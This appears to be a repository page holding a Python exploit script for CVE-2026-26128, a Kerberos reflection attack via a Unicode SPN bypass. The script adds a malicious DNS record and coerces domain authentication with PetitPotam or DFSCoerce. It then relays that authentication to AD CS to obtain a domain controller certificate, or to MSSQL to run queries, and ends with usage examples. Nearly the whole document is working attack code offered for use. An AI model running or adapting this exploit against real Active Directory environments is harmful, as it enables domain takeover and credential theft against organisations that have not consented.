README.md
Rendering markdown...
import argparse
import logging
import os
import sys
import time
from impacket.examples import logger
from impacket.examples.utils import parse_identity
from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor
from lib.servers import SMBRelayServer
from lib.clients import PROTOCOL_CLIENTS
from lib.utils.config import KrbRelayxConfig
from lib.coerce.petitpotam import PetitPotam
from lib.coerce.dfscoerce import DFSCoerce
from lib.dns.dns import DNSTool
from lib.utils.utils import parse_target, unicode
COERCERS = {
'petitpotam': PetitPotam,
'dfscoerce': DFSCoerce,
}
def countdown(seconds):
for remaining in range(seconds, 0, -1):
sys.stdout.write(f'\r[*] Waiting for DNS propagation... {remaining}s')
sys.stdout.flush()
time.sleep(1)
sys.stdout.write('\r[*] DNS propagation complete\n')
sys.stdout.flush()
def start_relay_server(options, target_url, hostname):
c = KrbRelayxConfig()
c.setProtocolClients(PROTOCOL_CLIENTS)
c.setTargets(TargetsProcessor(singleTarget=target_url, protocolClients=PROTOCOL_CLIENTS))
c.setMode('RELAY')
c.setAttacks(PROTOCOL_ATTACKS)
c.setLootdir(options.lootdir)
c.setSMB2Support(True)
c.setInterfaceIp(options.listener)
c.setIsADCSAttack('certsrv' in target_url)
c.setADCSOptions(options.template)
c.setIPv6(False)
c.setWpadOptions(None, None)
c.setEncoding('utf-8')
c.setExeFile(None)
c.setCommand(None)
c.setEnumLocalAdmins(False)
c.setLDAPOptions(False, False, False, False, None, None, False, False, False, False, False)
c.setKrbOptions('ccache', hostname.split('.')[0].upper() + '$') # added some parsing
c.setAuthOptions(None, None, None, None, None, False)
c.setMSSQLOptions(options.query)
c.setInteractive(False)
server = SMBRelayServer(c)
server.start()
return server
def exploit(options, domain, username, password):
# Parsing
hostname = parse_target(options.target)
if not hostname:
parser.error(f"invalid target URL: {options.target}")
if 'mssql' in options.target.lower() and not options.query:
parser.error("MSSQL target requires -q/--query argument")
unicode_fqdn = unicode(hostname)
os.makedirs(options.lootdir, exist_ok=True)
dns = DNSTool(domain, username, password, options.dc_ip)
if not dns.add(unicode_fqdn, options.listener):
logging.error("Failed to add DNS record, aborting")
sys.exit(1)
try:
countdown(options.sleep)
start_relay_server(options, options.target, hostname)
COERCERS[options.method](
username=username,
password=password,
domain=domain,
dc_ip=options.dc_ip,
listener=unicode_fqdn,
target=hostname
).coerce()
if 'certsrv' in options.target:
pfx = os.path.abspath(os.path.join(options.lootdir, f"{hostname.split('.')[0].upper()}.pfx"))
print(f"\n[*] Waiting for certificate...")
while not os.path.exists(pfx):
time.sleep(1)
print(f"\n[*] To request a TGT using PKINIT run:")
print(f"\tpython3 gettgtpkinit.py {domain}/{hostname.split('.')[0].upper()}$ -cert-pfx {pfx} -dc-ip {options.dc_ip} out.ccache\n")
sys.stdin.read()
except KeyboardInterrupt:
print()
finally:
dns.remove(unicode_fqdn)
if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True, description="CVE-2026-26128 - Kerberos Reflection via Unicode SPN bypass")
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-t', '--target', action='store', required=True,
help='Relay target (e.g. http://contoso-dc.contoso.com/certsrv/certfnsh.asp or mssql://host)')
parser.add_argument('-l', '--listener', action='store', required=True,
help='Attacker IP to listen on')
parser.add_argument('-m', '--method', action='store', default='petitpotam',
choices=['petitpotam', 'dfscoerce'],
help='Coercion method (default: petitpotam)')
parser.add_argument('-s', '--sleep', action='store', type=int, default=180, metavar='seconds',
help='Seconds to wait for DNS propagation (default: 150)')
parser.add_argument('--lootdir', action='store', default='.', metavar='DIR',
help='Output directory (default: .)')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action='store', metavar='LMHASH:NTHASH',
help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action='store_true', help="Don't ask for password")
group.add_argument('-k', action='store_true', help='Use Kerberos authentication via ccache (KRB5CCNAME)')
group.add_argument('-dc-ip', action='store', metavar='ip address', required=True,
help='IP Address of the domain controller')
adcs = parser.add_argument_group('adcs')
adcs.add_argument('--template', action='store', metavar='TEMPLATE', default='DomainController',
help='AD CS certificate template (default: DomainController)')
mssql = parser.add_argument_group('mssql')
mssql.add_argument('-q', '--query', action='append', metavar='QUERY', default=None,
help='MSSQL query to execute (can specify multiple)')
if len(sys.argv) == 1:
parser.print_help()
print("\nExamples: ")
print("\t./CVE-2026-26128.py contoso.com/user:pass -t http://contoso-dc.contoso.com/certsrv/certfnsh.asp -l 192.168.1.80 -dc-ip 192.168.1.10")
print("\t./CVE-2026-26128.py contoso.com/user:pass -t mssql://contoso-sql.contoso.com -l 192.168.1.80 -dc-ip 192.168.1.10 -q 'SELECT @@version'\n")
sys.exit(1)
options = parser.parse_args()
logger.init(options.ts, options.debug)
domain, username, password, _, _, options.k = parse_identity(
options.identity, options.hashes, options.no_pass, options.k)
if domain is None:
logging.critical('Domain should be specified!')
sys.exit(1)
try:
exploit(options, domain, username, password)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))